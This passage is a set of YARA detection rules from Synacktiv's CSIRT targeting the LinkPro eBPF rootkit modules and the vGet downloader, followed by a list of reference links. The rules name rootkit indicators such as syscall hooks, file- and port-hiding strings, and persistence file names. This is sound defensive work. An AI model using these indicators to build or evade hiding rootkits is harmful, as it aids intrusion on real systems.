    uint32(0) == 0x464c457f and filesize > 5MB and elf.type == elf.ET_EXEC 
    and 2 of ($linkp*) 
    and 1 of ($go*)
}

import "elf"

rule MAL_LinkPro_Hide_ELF_BPF_Oct25 {
  meta:
    description = "Detects LinkPro Hide eBPF module"
    author = "CSIRT Synacktiv, Théo Letailleur"
    date = "2025-10-13"
    reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash = "b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164"
  strings:
    $hook_getdents = "/syscalls/sys_enter_getdents" fullword ascii
    $hook_getdentsret = "/syscalls/sys_exit_getdents" fullword ascii
    $hook_bpf = "/syscalls/sys_enter_bpf" fullword ascii
    $hook_bpfret = "sys_bpf" fullword ascii
    $str1 = "BPF cmd: %d, start_id: %u" fullword ascii
    $str2 = "HIDING NEXT_ID: %u" fullword ascii
    $str3 = ".tmp~data" fullword ascii

  condition:
    uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine
    and elf.type == elf.ET_REL  
    and 2 of ($hook*)
    and 1 of ($str*)
}

import "elf"

rule MAL_LinkPro_Knock_ELF_BPF_Oct25 {
  meta:
    description = "Detects LinkPro Knock eBPF module"
    author = "CSIRT Synacktiv, Théo Letailleur"
    date = "2025-10-13"
    reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash = "364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3"
  strings:
    $hook_xdp = "xdp_ingress" fullword ascii
    $hook_tc_egress = "tc_egress" fullword ascii
    $str1 = "[DBG-XDP]" fullword ascii
    $str2 = "[DBG-9999]" fullword ascii
    $str3 = "[TC-MISS]" fullword ascii
    $str4 = "[TC] REWRITE_BACK" fullword ascii
  condition:
    uint32(0) == 0x464c457f and uint16(0x12) == 0x00f7 // BPF Machine
    and elf.type == elf.ET_REL 
    and 1 of ($hook*)
    and 2 of ($str*)
}

import "elf"

rule MAL_LinkPro_LdPreload_ELF_SO_Oct25 {
  meta:
    description = "Detects LinkPro ld preload module"
    author = "CSIRT Synacktiv, Théo Letailleur"
    date = "2025-10-13"
    reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash = "b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7"
  strings:
    $hook_getdents = "getdents" fullword ascii
    $hook_open = "open" fullword ascii
    $hook_readdir = "readdir" fullword ascii
    $hook_kill = "kill" fullword ascii
    $linkpro = ".tmp~data" fullword ascii
    $file_net = "/proc/net" fullword ascii
    $file_persist = ".system" fullword ascii
    $file_cron = "sshids" fullword ascii
  condition:
    uint32(0) == 0x464c457f and filesize < 500Ko and elf.type == elf.ET_DYN
    and $linkpro
    and 2 of ($hook*)
    and 2 of ($file*)
}

import "elf"

rule MAL_LinkPro_arpdiag_ELF_KO_Oct25 {
  meta:
    description = "Detects LinkPro LKM module"
    author = "CSIRT Synacktiv, Théo Letailleur"
    date = "2025-10-13"
    reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash = "9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075"
  strings:
    $hook_udp6 = "hook_udp6_seq_show" fullword ascii
    $hook_udp4 = "hook_udp4_seq_show" fullword ascii
    $hook_tcp6 = "hook_tcp6_seq_show" fullword ascii
    $hook_tcp4 = "hook_tcp4_seq_show" fullword ascii
    $ftrace = "ftrace_thunk" fullword ascii
    $hide_entry = "hide_port_init" fullword ascii
    $hide_exit = "hide_port_exit" fullword ascii
  condition:
    uint32(0) == 0x464c457f and filesize < 2Mo and elf.type == elf.ET_REL
    and $ftrace
    and 2 of ($hook*) 
    and 1 of ($hide*)
}

import "elf"

rule MAL_vGet_ELF_Downloader_Rust_Oct25 {
  meta:
    description = "Detects vGet Downloader, observed to load vShell"
    author = "CSIRT Synacktiv, Théo Letailleur"
    date = "2025-10-13"
    reference = "https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash = "0da5a7d302ca5bc15341f9350a130ce46e18b7f06ca0ecf4a1c37b4029667dbb"
    hash = "caa4e64ff25466e482192d4b437bd397159e4c7e22990751d2a4fc18a6d95ee2"
  strings:
    $hc_rust = "RUST_BACKTRACE"  fullword ascii
    $hc_symlink = "/tmp/.del"  fullword ascii
    $hc_proxy = "Proxy-Authorization:"  fullword ascii
    $lc_crypto_chacha = "expand 32-byte k"  fullword ascii
    $lc_pdfuser = "cosmanking"  fullword ascii
    $lc_local = "127.0.0.1" fullword ascii
  condition:
    uint32(0) == 0x464c457f and filesize > 500KB and filesize < 3MB 
    and elf.type == elf.ET_DYN 
    and all of ($hc*)
    and 1 of ($lc*)
}

• 1. https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controlle…
• 2. https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossibl…
• 3. https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find…
• 4. https://github.com/Gui774ume/ebpfkit
• 5. https://github.com/bfengj/eBPFeXPLOIT/tree/main
• 6. https://www.jenkins.io/security/advisory/2024-01-24/
• 7. https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html
• 8. https://github.com/vnt-dev/vnt
• 9. https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vs…
• 10. https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell
• 11. https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight
• 12. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_XDP/
• 13. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_SCHED_CLS/
• 14. https://attack.mitre.org/techniques/T1574/006/
• 15. https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_TRACEPOINT/
• 16. https://www.kernel.org/doc/html/latest/trace/kprobes.html#how-does-a-kp…
• 17. https://ebpf-go.dev/
• 18. https://docs.ebpf.io/linux/concepts/maps/
• 19. https://docs.ebpf.io/linux/program-type/
• 20. https://docs.ebpf.io/linux/syscall/BPF_LINK_CREATE/
• 21. https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/dirent.h.html
• 22. https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L691
• 23. https://bpftool.dev/
• 24. https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L339
• 25. https://www.man7.org/linux/man-pages/man7/bpf-helpers.7.html
• 26. https://github.com/nyrahul/linux-kernel-configs?tab=readme-ov-file#bpf_…
• 27. https://www.datadoghq.com/blog/xdp-intro/
• 28. https://docs.ebpf.io/linux/concepts/pinning/
• 29. https://pkg.go.dev/github.com/cilium/ebpf/link#AttachRawLink
• 30. https://github.com/creack/pty?tab=readme-ov-file#shell
• 31. https://github.com/RedTeamPentesting/resocks